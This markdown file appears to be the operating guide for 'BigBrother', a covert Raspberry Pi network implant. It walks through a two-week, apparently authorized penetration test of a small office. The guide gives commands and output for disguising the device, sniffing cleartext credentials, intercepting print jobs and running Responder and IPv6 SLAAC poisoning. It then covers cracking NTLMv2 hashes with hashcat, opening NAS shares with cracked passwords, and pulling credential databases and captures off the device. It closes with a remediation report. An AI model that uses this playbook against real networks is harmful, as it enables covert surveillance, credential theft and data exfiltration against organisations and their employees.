bigbrother/OPERATIONAL_WORKFLOW.md

# BigBrother: Operational Workflow

> **Scenario**: 2-week engagement on a small business network
> **Target**: 15 users, flat 10.0.1.0/24 network, no Active Directory, consumer router (Netgear Nighthawk), Synology NAS, 2 network printers (HP LaserJet), assorted IoT (Nest thermostat, Ring doorbell, Sonos speakers), mix of Windows 10/11 and macOS endpoints
> **Hardware**: Raspberry Pi 4 (4GB), 128GB industrial SD card, USB Ethernet adapter
> **Deployment**: Inline bridge behind front desk switch port

---

## Pre-Deployment (Before You Arrive)

### Hardware Prep (2-3 hours at your workstation)

**1. Flash the SD card**

Flash Raspberry Pi OS Lite (64-bit, Bookworm) to the 128GB card. Boot it once on your bench, connect via HDMI/keyboard, and run setup.

```bash
# On the Pi, first boot
sudo raspi-config  # enable SSH, set locale, disable desktop
cd /opt
sudo git clone <your-bigbrother-repo> .cache/bb
cd .cache/bb
sudo ./setup.sh --tier pi4
```

`setup.sh` takes 30-45 minutes. Installs all packages, venv, tool binaries, wordlists, LUKS, systemd services, kernel tuning. Everything pre-bundled so the Pi never fetches packages on target.

**2. Configure the engagement**

```bash
sudo bigbrother config --init
```

```yaml
# storage/config/engagement.yaml
engagement:
  name: "op-acme-retail"
  client: "Acme Office Supply"

# storage/config/connectivity.yaml
tailscale:
  auth_key: "tskey-auth-kExAmPlE-0123456789abcdef"
  hostname: "iot-sensor-03"
```

**3. Tailscale pre-auth key**: Admin console, single-use, tagged `tag:implant`, 90-day expiry.

**4. Set MAC and hostname**:

```bash
sudo bigbrother config set device.hostname "iot-sensor-03"
sudo bigbrother config set stealth.mac_clone "Dell"    # Random Dell OUI, DHCP vendor class matches
```

**5. Test kill switch**: `sudo bigbrother kill --dry-run` -- verify on throwaway SD image.

**6. Pack**: Pi 4 (plain black case), USB-C 5V/3A PSU, USB Ethernet adapter, 2x 0.5m patch cables, scope doc (paper only).

---

## Day 0: Drop

### Physical Deployment (10-15 minutes on target)

On-site for a "network assessment kickoff meeting." Physical access available. Place inline between front desk wall jack and desktop -- cable run behind/under desk, no one inspects ethernet cables.

1. Unplug ethernet from front desk PC's wall jack
2. Wall jack cable into Pi's onboard eth0 (uplink)
3. USB Ethernet adapter from Pi to front desk PC
4. USB-C power in
5. Wait 30 seconds for boot, tuck Pi behind monitor
6. Verify front desk PC has connectivity (bridge is transparent)

Cable time: under 2 minutes. Remainder is positioning.

### What Happens on Boot (~90 seconds)

1. **Bridge** -- Transparent bridge eth0/eth1, cloned Dell MAC, STP/CDP/LLDP suppressed
2. **Core** (disguised: "System Thermal Management Daemon") -- Engine up, LUKS mounted, state DB init
3. **Capture** -- AF_PACKET promiscuous on bridge, packets flowing
4. **Passive** -- All 22 modules start, subscribe to capture bus
5. **Tailscale** -- Pre-auth key, joins tailnet as `iot-sensor-03`
6. **Watchdog** -- Monitors and auto-restarts crashed modules
7. **Baseline** -- `traffic_mimicry` begins 48-hour traffic profiling

### First Check-In (15-30 min after drop)

From hotel/car: `ssh operator@iot-sensor-03`

```bash
sudo bigbrother selftest
```
```
[+] Platform: Pi 4 (4GB)  SD: 128GB (112GB free)  LUKS: mounted
[+] Bridge: eth0↔eth1 (transparent)  Capture: 247 pps
[+] Passive: 22/22 running  Active: 0/14 (PASSIVE_ONLY)
[+] Tailscale: UP (100.64.0.17)  Temp: 42C  RAM: 48%
[+] Kill switch: armed
```

All green. Disconnect, let it cook.

---

## Day 1: First Check-In (24 Hours of Passive Collection)

```bash
ssh operator@iot-sensor-03
sudo bigbrother status
```

```
╭────────────────── BigBrother Status ─────────────────╮
│ op-acme-retail  Uptime: 23h 47m  Phase: PASSIVE_ONLY│
│ Pi 4 (4GB)  Temp: 44C  Disk: 109GB free             │
│ Tailscale: UP  Bridge: eth0↔eth1  Packets: 4.2M     │
│                                                      │
│ Passive (22/22 running):                             │
│  packet_capture   CPU 8%  62MB  PCAPs: 47            │
│  dns_logger       CPU 1%  14MB  Queries: 31K         │
│  tls_sni          CPU 1%  11MB  SNIs: 18K            │
│  cred_sniffer     CPU 2%  19MB  Creds: 3             │
│  kerberos_harvest CPU 0%  12MB  Tickets: 0           │
│  host_discovery   CPU 1%  14MB  Hosts: 23            │
│  traffic_analyzer CPU 3%  38MB  Flows: 8.2K          │
│  print_intercept  CPU 0%  12MB  Jobs: 7              │
│  ... (remaining nominal)                             │
│ Active: locked until Day 7                           │
│ Baseline: COLLECTING (24h / 48h)                     │
╰──────────────────────────────────────────────────────╯
```

```bash
sudo bigbrother triage
```

```
╭───────────────── Triage Report (24h) ────────────────╮
│ ── Hosts (23 discovered) ──                          │
│ 10.0.1.1   Netgear       router        (gateway)    │
│ 10.0.1.10  Dell          FRONT-DESK    Windows 11   │
│ 10.0.1.11  Apple         MacBook-Sarah macOS 14     │
│ 10.0.1.12  Dell          ACCT-PC-01    Windows 10   │
│ 10.0.1.13  Dell          ACCT-PC-02    Windows 10   │
│ 10.0.1.14  Apple         MacBook-Tom   macOS 14     │
│ 10.0.1.15  Dell          MANAGER-PC    Windows 11   │
│ 10.0.1.20  Synology      DiskStation   Linux        │
│ 10.0.1.30  HP            PRINTER-MAIN  JetDirect    │
│ 10.0.1.31  HP            PRINTER-BACK  JetDirect    │
│ 10.0.1.40  Nest Labs     thermostat                 │
│ 10.0.1.41  Ring          doorbell                   │
│ 10.0.1.42-43 Sonos       speakers (x2)              │
│ ... +9 phones/tablets/laptops                        │
│                                                      │
│ ── DNS (31,247 queries, 1,847 unique domains) ──     │
│ All via 10.0.1.1 → 8.8.8.8 (no internal DNS)       │
│ Top: ocsp.digicert.com, login.microsoftonline.com,   │
│   outlook.office365.com, quickbooks.intuit.com,      │
│   diskstation.local (mDNS), ring-api.com             │
│ ⚠ DoH: 3 hosts using 8.8.8.8:443 (partial blind)   │
│                                                      │
│ ── Credentials (3) ──                                │
│ SNMP "public" → 10.0.1.30, 10.0.1.31 (printers)    │
│ HTTP Basic admin:admin123 → 10.0.1.1:80 (router)    │
│                                                      │
│ ── Kerberos: None (no AD) ──                         │
│ ── Print Jobs: 7 (ACCT-PC, MANAGER-PC, FRONT-DESK) ─│
│ ── Topology: flat L2, no VLANs, no 802.1X/NAC ──    │
│ ── Security: No EDR/SIEM/IDS — Defender only ──      │
│ ── Anomalies: None ──                                │
╰──────────────────────────────────────────────────────╯
```

### Assessment

Zero security infrastructure. No EDR, SIEM, IDS, NAC, or AD. Router admin creds captured passively in cleartext. Synology NAS is the central file server (8 hosts connect over SMB). M365 for email (cloud, nothing to sniff on-prem). Kerberos harvester will produce zero all engagement (no AD). Three DoH hosts create partial DNS blind spot.

**Operator decisions**: Keep passive, baseline not finished. Note router creds and NAS as high-value target. Review print jobs on Day 3.

---

## Day 3: Deep Review

### DNS Analysis (72 hours)

```bash
sudo bigbrother intel dns --top 50 --by-host
```

Patterns: Standard SaaS stack (M365, QuickBooks, Dropbox, Slack). NAS resolved via mDNS. IoT devices beacon constantly (Ring: 200+ queries/day to AWS). Personal browsing mixed in. No security tool updates, no VPN client traffic. No internal DNS server -- everything forwards through router to 8.8.8.8.

### Credential Review

Still 3 credentials (passive only). On a modern encrypted network with no AD, passive credential capture is metadata-level. The cleartext sniffer only catches protocols that still use plaintext: router HTTP admin, printer SNMP.

### Network Topology

```bash
sudo bigbrother topology --render
```

```
               [Internet]
                   |
           [10.0.1.1 Router]
                   |
     ┌─────────────┼──────────────┐
     |             |              |
 [Workstations] [10.0.1.20 NAS] [IoT 40-43]
  10.0.1.10-15  (SMB + HTTPS)
     |
 [Printers 30-31]
```

Flat L2, no segmentation. NAS serves 8 hosts over SMB. Printers accept unencrypted JetDirect from 6 hosts.

### Security Posture

Windows Defender (built-in, unmanaged) on 6 hosts. No EDR, no SIEM, no IDS, no NAC, no management agents. Local accounts everywhere. Detection risk for active modules: **LOW**.

### Print Jobs

```bash
sudo bigbrother intel prints --list
```

11 jobs captured over 3 days. ACCT-PC-01 and MANAGER-PC print to PRINTER-MAIN (port 9100, unencrypted). Ghostscript converts captured PCL/PostScript to PDF:

```bash
sudo bigbrother intel prints --view 3
# QuickBooks invoice — customer names, amounts, account numbers
```

JetDirect is always unencrypted. Print interception on small business networks is consistently high-value.

### Traffic Analysis

```bash
sudo bigbrother intel traffic --beacons
```

No suspicious beacons. Known periodic traffic: Windows Update (4h), Ring (30s to AWS), Nest (60s), Sonos (5m), Slack WebSocket (30s). Clean network, no prior compromise.

### Operator Decision

After 3 days: 23 hosts inventoried, router admin creds, full DNS history, 11 print jobs with financial data, zero security monitoring, baseline complete.

**Decision: Go active on Day 5.** Network has zero detection capability. Start with Responder -- highest-yield, lowest-noise active technique for NTLMv2 capture on Windows networks.

---

## Day 5: Going Active

### Why Responder First

Windows machines use LLMNR/NBT-NS for name resolution fallback even without AD. Mistyped hostnames, stale mapped drives, and WPAD lookups all broadcast queries. Responder answers them and captures NTLMv2 challenge-response hashes. Lower risk than ARP spoofing (no cache changes), produces crackable hashes without MITM position.

### Activate Responder

```bash
sudo bigbrother activate responder_mgr
```

```
[*] Phase: ACTIVE_ALLOWED (Day 5)  Posture: No IDS/EDR — LOW risk
[*] IDS self-test: No Responder signatures matched
[+] Responder active (LLMNR + NBT-NS + mDNS poisoning)
```

### Credential Flow

```bash
sudo bigbrother creds --since "2h ago"
```

```
╭──────────── New Credentials (last 2h) ───────────────╮
│ ID  Type     Username      Hash (truncated)   Source  │
│ 4   NTLMv2   sarah.m      SARAH.M::ACME:...  LLMNR  │
│ 5   NTLMv2   tsmith       TSMITH::FRONT-D:... NBT-NS│
│ 6   NTLMv2   admin.local  ADMIN.LOCAL::MAN... LLMNR  │
╰──────────────────────────────────────────────────────╯
```

Three NTLMv2 hashes in 2 hours. Typical for a small network. These are machine-local account hashes (no AD -- users authenticate with local accounts to the NAS and each other's shares).

### Crack the Hashes

Pi 4 CPU is too slow for serious cracking. Push to your workstation:

```bash
sudo bigbrother creds --export hashcat --type ntlmv2 > /tmp/ntlmv2.txt
scp /tmp/ntlmv2.txt operator@your-workstation:/tmp/
# On workstation: hashcat -m 5600 /tmp/ntlmv2.txt rockyou.txt -r OneRuleToRuleThemAll.rule
```

Expect 50-70% crack rate on a small business. Simple passwords, predictable patterns.

### Detection Check + IPv6 SLAAC

```bash
sudo bigbrother intel posture --changes   # No changes, no one watching
sudo bigbrother activate ipv6_slaac       # Become IPv6 gateway, WPAD abuse
```

IPv6 SLAAC makes the Pi the IPv6 default gateway. Windows hosts route IPv6 DNS through the implant, catching additional NTLM auth via WPAD. No RA Guard on consumer networks.

---

## Day 7-10: Active Collection Running

### Credential Growth

```bash
sudo bigbrother creds --stats
```

```
╭──────────── Credential Stats (Day 7) ───────────────╮
│ Total: 18   Unique users: 9                          │
│ NTLMv2: 12  (8 cracked / 4 uncracked — 67%)         │
│ HTTP Basic: 1  |  SNMP: 2  |  HTTP POST: 3          │
│                                                      │
│ Source: Responder LLMNR 7, NBT-NS 3, SLAAC/WPAD 2,  │
│   Passive 6 (SNMP, HTTP Basic, Synology DSM)         │
│                                                      │
│ Cracked:                                             │
│   sarah.m:Flowers2024!   tsmith:Welcome1             │
│   admin.local:Acme2023!  jrodriguez:Summer2024       │
│   kpatel:Password1!      bwilson:Bwilson123          │
│   lchen:Dragon2024       mthompson:Qwerty123!        │
╰──────────────────────────────────────────────────────╯
```

IPv6 SLAAC + DNS poisoning redirected Synology DSM logins over HTTP -- 3 NAS passwords captured in cleartext, several reused from NTLMv2 hashes.

### Manual Recon from Jump Box

SSH in and use pre-installed tools directly.

```bash
# NAS access with cracked admin.local password
smbmap -H 10.0.1.20 -u admin.local -p 'Acme2023!'
```
```
[+] IP: 10.0.1.20  Name: DiskStation
    homes        READ,WRITE    accounting   READ,WRITE
    shared       READ,WRITE    backups      READ ONLY
```

```bash
smbclient //10.0.1.20/accounting -U admin.local%'Acme2023!'
smb: \> ls
  2024_returns/     2025_returns/     payroll/
  invoices/         bank_statements/  passwords.xlsx    # Classic.
```

```bash
# Router — full admin access with Day 1 creds
curl -s -u admin:admin123 http://10.0.1.1/api/get_info | python3 -m json.tool
# Returns: firmware, WAN IP, DHCP leases, port forwards, WiFi PSK

# Password reuse testing
netexec ssh 10.0.1.20 -u sarah.m -p 'Flowers2024!'
# [+] sarah.m:Flowers2024! — NTLMv2 password works on NAS SSH
```

### Change Detection

```bash
sudo bigbrother intel changes --since "Day 0"
```
```
New hosts: +2 (phones, WiFi)  Lost: -1 (MacBook-Tom offline Day 6)
New services: None  Scan activity: None  Verdict: No IR activity
```

---

## Day 14: Wrap-Up

### Final Credentials

```bash
sudo bigbrother creds --stats --full
```
```
Total: 24  |  Unique users: 11/15 (73%)  |  Password reuse: 7
NTLMv2: 14 (10 cracked)  |  HTTP Basic: 1  |  SNMP: 2
HTTP POST: 4 (Synology DSM)  |  WiFi PSK: 1  |  SSH keys: 2

Admin access obtained: Router (full), NAS (all shares + SSH),
  6 workstations (local admin via password reuse)
```

### Pull Data

```bash
sudo bigbrother intel report --format html --output /tmp/report/
scp -r operator@iot-sensor-03:/tmp/report/ ./acme-report/

# Raw artifacts
scp operator@iot-sensor-03:/opt/.cache/bb/storage/creds/credentials.db ./
scp operator@iot-sensor-03:/opt/.cache/bb/storage/pcaps/cred_ring_*.pcap.zst.enc ./
scp -r operator@iot-sensor-03:/opt/.cache/bb/storage/print_jobs/ ./
scp -r operator@iot-sensor-03:/opt/.cache/bb/storage/dns_logs/ ./
scp -r operator@iot-sensor-03:/opt/.cache/bb/storage/audit/ ./   # Legal protection
```

### Retrieval

On-site: unplug power, reconnect front desk PC to wall jack, verify connectivity, take the Pi. Total: 2 minutes.

### Kill Switch (if not retrieving)

```bash
sudo bigbrother kill   # Passphrase confirmation required
```
```
[*] Destroying LUKS header... (milliseconds — data unrecoverable)
[*] Shredding keys + credential DB...
[*] Zeroing data partition... Clearing RAM... Rebooting.
```

---

## Example Report Outline

### Executive Summary

Over 14 days of authorized network monitoring, 73% of user accounts were compromised and full admin access was obtained to the router and central file server -- without triggering any alerts.

### Findings (12 total)

| # | Severity | Finding | Remediation |
|---|----------|---------|-------------|
| 1 | **CRIT** | Router admin creds in cleartext HTTP (`admin:admin123`) | HTTPS-only admin, change password |
| 2 | **CRIT** | NAS full access via reused passwords (accounting, payroll, bank data) | Unique passwords, NAS 2FA, least privilege |
| 3 | **CRIT** | `passwords.xlsx` on shared drive (banking, vendor creds in plaintext) | Password manager, delete file |
| 4 | HIGH | No network segmentation (IoT, printers, NAS on same L2) | VLANs: separate IoT from business |
| 5 | HIGH | Unencrypted print traffic (financial docs with PII intercepted) | IPP-over-TLS or replace printers |
| 6 | HIGH | Weak passwords (67% cracked, `Word####!` patterns) | 14+ char policy, password manager |
| 7 | HIGH | No endpoint management (Defender only, no MDM/patching) | M365 Business Premium + Intune |
| 8 | MED  | SNMP default `public` on both printers | Change community string or disable |
| 9 | MED  | No network monitoring (implant ran 14 days undetected) | Router logging + syslog collector |
| 10 | MED | IoT on business network (known vulns, no endpoint protection) | Separate VLAN/guest network |
| 11 | LOW | WiFi PSK visible from router admin panel | Fixed by #1 |
| 12 | LOW | DoH on 3 hosts bypasses DNS monitoring | Note for future architecture |

**Summary**: Critical 3, High 4, Medium 3, Low 2

---

## What Produced Zero Results

| Module | Why Zero |
|--------|----------|
| kerberos_harvester | No AD, no Kerberos |
| ldap_harvester | No AD, no LDAP |
| rdp_monitor | No RDP in use |
| email_sniffer | M365 is all TLS |
| voip_capture | No VoIP (cell phones) |
| vlan_discovery | Flat network |
| db_interceptor | No database servers |
| cloud_token_harvester | All cloud traffic encrypted |
| smb_monitor (content) | SMB3 encryption on Win 11 |
| auth_flow_tracker | No centralized auth without AD |

On a small business without AD, roughly half the passive modules produce zero. High-value modules for this environment: `dns_logger`, `host_discovery`, `credential_sniffer`, `print_interceptor`, `network_mapper`, `traffic_analyzer`, `security_posture`. Active modules (`responder_mgr`, `ipv6_slaac`) produced the majority of credential captures.

---

## Timing Summary

| Phase | Duration | Key Actions |
|-------|----------|-------------|
| Pre-deployment | 2-3 hours | Flash, configure, test |
| Day 0 (Drop) | 10-15 min on site | Physical install, verify bridge, first check-in |
| Day 1 | 30 min remote | Status check, triage review |
| Day 3 | 1-2 hours remote | Deep analysis, decision to go active |
| Day 5 | 30 min remote | Activate Responder + IPv6, monitor |
| Day 7-10 | 2-3 hours remote (spread across days) | Crack hashes, manual recon, NAS access, lateral checks |
| Day 14 | 1 hour remote + 10 min on site | Report gen, data pull, physical retrieval |
| **Total operator time** | **~8-10 hours over 2 weeks** | The implant does the work; the operator makes decisions |